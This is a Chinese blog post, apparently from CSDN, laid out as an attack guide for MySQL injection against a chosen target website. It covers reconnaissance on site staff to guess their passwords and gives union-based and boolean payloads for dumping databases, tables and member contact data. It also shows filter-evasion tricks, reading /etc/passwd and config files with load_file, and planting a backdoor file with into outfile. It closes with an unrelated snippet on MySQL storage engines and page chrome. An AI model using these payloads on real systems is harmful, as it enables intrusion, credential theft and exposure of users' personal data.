Mysql注入经验浅谈

Mysql注入经验浅谈


一、注入准备与攻击步骤

1、确认注入攻击的目标网站

2、目标网站一般信息的收集、分析与提取

3、网站技术分析:寻找和测试可用注入点,网页输入输出机制分析

4、探子回报:注入SQL确定数据库类型,当前账户权限级别

5、提权分析:根据用户级别确定是否可以与系统层交互提权,是否可以与数据库层交互提权,是否可以获取web后台管理员权限的可能性。

6、网站可用SQL注入类型测试,盲注?显注?

7、盲注策略:使用注入分析工具替代人工

​ 显注策略:第三者上位

一般信息的收集、分析与提取 :

信念:没有无用的信息

只要是人为,就会有漏洞的可能性。任何信息都会透露背后的另一层信息。

1、域名信息

2、域名信息的扩展信息,如注册人、公司、联系电话等信息收集

3、网站所有相关工作人员的信息收集,比如技术研发人员相关联系方式、QQ、手机、博客、微博等。目标是得到相关人员对密码设置的习惯和规律等。

技术分析:

1、技术分析

一般信息关联的可能性,网页源代码分析,输入输出机制分析,寻找和测试可用注入点。

2、使用Firefox浏览器,安装浏览器插件Hackbar


二、注入点的发现与测试

1、常用注入点

a、表单中的输入域

b、URL的参数 (比较常见)

c、Cookie或者隐藏域

2、表单中的输入域,Cookie或者隐藏域

需要对网页输入输出机制进行充分的分析、过滤和提取,并了解其执行注入SQL的可能机制,比如输入域,cookie,url参数的变量名是什么,如何传递给数据库引擎。

3、URL的参数

—先利用不变逻辑和空集逻辑判断注入点在哪个参数

字符类型参数:单引号’ 或双引号测试是否可以关闭

’ and ‘1’='1 不变逻辑,测试网页或者程序显示正确

’ and ‘1’='2 空集逻辑,测试网页或者程序显示不正确或者报错

’ or ‘1’='1 全集逻辑,测试网页对数据量的处理是否变化

整数类型参数:

and 1=1 不变逻辑,测试网页或者程序显示正确

and 1=2 空集逻辑,测试网页或者程序显示不正确或者报错

or 1=1 全集逻辑,测试网页对数据量的处理是否变化

—在注入点中获取有效信息

and left(version(),1)=5

and substr(version(),1,1)=5 //判断数据库版本号第一个数字是否为5

返回正确说明:

1、数据库为mysql

2、对执行数据库函数未过滤

3、对括号未过滤

4、可能对子查询未过滤

5、可注入复杂逻辑

6、评估注入可进行的程度

—用户权限级别的确认

user()

网页注入测试:and (select length(user()) from mysql.user where user like ‘z%’)>1

and (select count(*) from mysql.user where user=user())>=1

and (select length(user()) from mysql.user where user=user())>=1

返回正确说明:

1、对mysql字典数据库有权限,否则无权限

​ 如无权限,则对密码获取受限,必须另想它法,如web网站后台管理员密码。

2、如对mysql字典库无权限,则需要测试对information_schema字典库测试权限

注入测试:and (select count(*) from information_schema.tables where table_schema=database())>1

返回正确说明:

对information_schema字典库有权限,可以获取所有数据库、所有表、所有字典信息。对攻破web后台管理员权限有帮助。


三、确认SQL注入类型于攻击策略

按输出机制分类:

盲注:输出数据库的内容在网页中没有显示,只有逻辑判断。

报错注:充分利用程序、数据库报错的帮助傻傻地告诉所有信息

显注:注入查询语句的内容在网页中显示

其他:email, ftp, samba等协议

显注:第三者上位

and 1=2 union select 1,2,3,4,5,6,7,8,9 --+ //–+用于注释掉后面的sql语句,+用于规避可能对空格的检查

//观察页面上位的数字,该位置可以构造特殊语句暴露数据库信息

子查询测试:

替代程序查询,只查询数据库字典信息:

union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables where table_schema=database() limit 1 – //查询表名

//当回显位置有限时,可以使用concat()、concat_ws()、group_concat()函数回显更多信息


四、规避检查注入

对于空格检查的规避:

1、or–+1=!!1 利用不变逻辑的!!或!!!代替空格

2、注释代替 and/**/select/**/uname/**/from/**/users

3、+号连接字符替换

4、用十六进制编码 %20

5、ASCII码替换char(32)

对单引号的规避:

1、换一种方式

and left(user(),1)=‘z’ 换成 and ascii(left(user(),1))=122


### 五、暴库和获得后台管理员权限

暴数据库名

and 1=2 union select 1,2,3,4,concat_ws(’~’,schema_name),6,7,8,9 from information_schema.schemata limit 1,10 –

暴表名 //获取web后台管理员密码可能存在的表 如:%user%、%member%

and 1=2 union select 1,2,3,4,concat_ws(’~’,table_schema,table_name,table_rows,table_comment),6,7,8,9 from information_schema.tables where table_schema=database() –

暴字段名 //column_name、column_comment可能对字段功能有描述

and 1=2 union select 1,2,3,4,concat_ws(’~’, table_schema, table_name, column_name, column_comment),6,7,8,9 from information_schema.columns where table_schema=database() and table_name=‘member’ limit 1,10 –

暴字段值

and 1=2 union select 1,2,3,4,concat_ws(’~’,member_name,mobile,e_mail),6,7,8,9 from zakkanet.member limit 1,100 –

//where like %admin% 找出管理员的敏感信息

情况排除:

如果返回为空,是语句输错了还是本来回显就为空呢?

ifnull(‘table_name’,‘null_tablename’) //如果table字段为空,则回显null_tablename

六、系统交互提权

1、与系统层交互的方式

  • 读写磁盘文件

  • 直接执行命令

    与系统层交互提权,取决于mysql服务器进程以什么权限运行,与程序连接的数据库账户以什么权限级别使用。

2、读取系统文件

load_file(’/etc/password’)

select uid,uname from users where uid=10008 and 0=9 union select 1,load_file(’/etc/passwd’)

select uid,uname from users where uid=10008 and 0=9 union select 1,load_file(’/var/www/html/web.config’) //读取网站配置文件

dbconfig.conf //读取网站配置信息,获取用户名和密码信息

盲注时配合substr, char, ascii等

3、留后门脚本文件

select ‘<script>alert()</script>’ into outfile ‘/var/www/html/test.php’; // 迷惑的测试脚本


七、SQL注入漏洞检测工具

1、替换人工办法自动检测有漏洞的URL

Safe3 SQL Injector

是一款最强大和最易使用的渗透测试工具,它可以自动检测和利用SQL注入漏洞和数据库服务器的过程中。

Safe3 SQL Injector 具备读取MySQL、Oracle、PostgreSQL、SQL Server、Access、SQLite、Firebird、Sybase、SAP、MaxDB等数据库的能力。同时支持向MySQL、SQL Server写入文件,以及SQL Server和Oracle中执行任意命令。Safe3 SQL Injector也支持基于error-based、Union-based和blind time based的注入攻击。

2、对指定的URL进行穷举可能的注入

Sqlmap不用说,注入神器

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
MySQL的存储引擎是插件式的,其中最常用的两个存储引擎是MyISAM和InnoDB。MyISAM是MySQL中默认的存储引擎,它没有太多人关注的原因可能是因为它在一些方面的性能和功能上相对较弱。然而,决定使用哪个存储引擎是一个复杂的问题,而我们可以聚焦于MyISAM和InnoDB这两个最常见的存储引擎。 在这两个存储引擎中,InnoDB要求表必须有主键,因为它的数据文件本身按照主键聚集。而MyISAM可以没有主键。这是InnoDB与MyISAM之间的一个重要区别。 因此,当选择MySQL的存储引擎时,我们需要考虑不同存储引擎的特性和适用场景,以便根据需求选择最合适的存储引擎。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [MySQL存储引擎](https://blog.csdn.net/hanfeng529264/article/details/123352215)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [MySQL存储引擎选择 InnoDB与MyISAM的优缺点分析](https://download.csdn.net/download/weixin_38655484/12834006)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值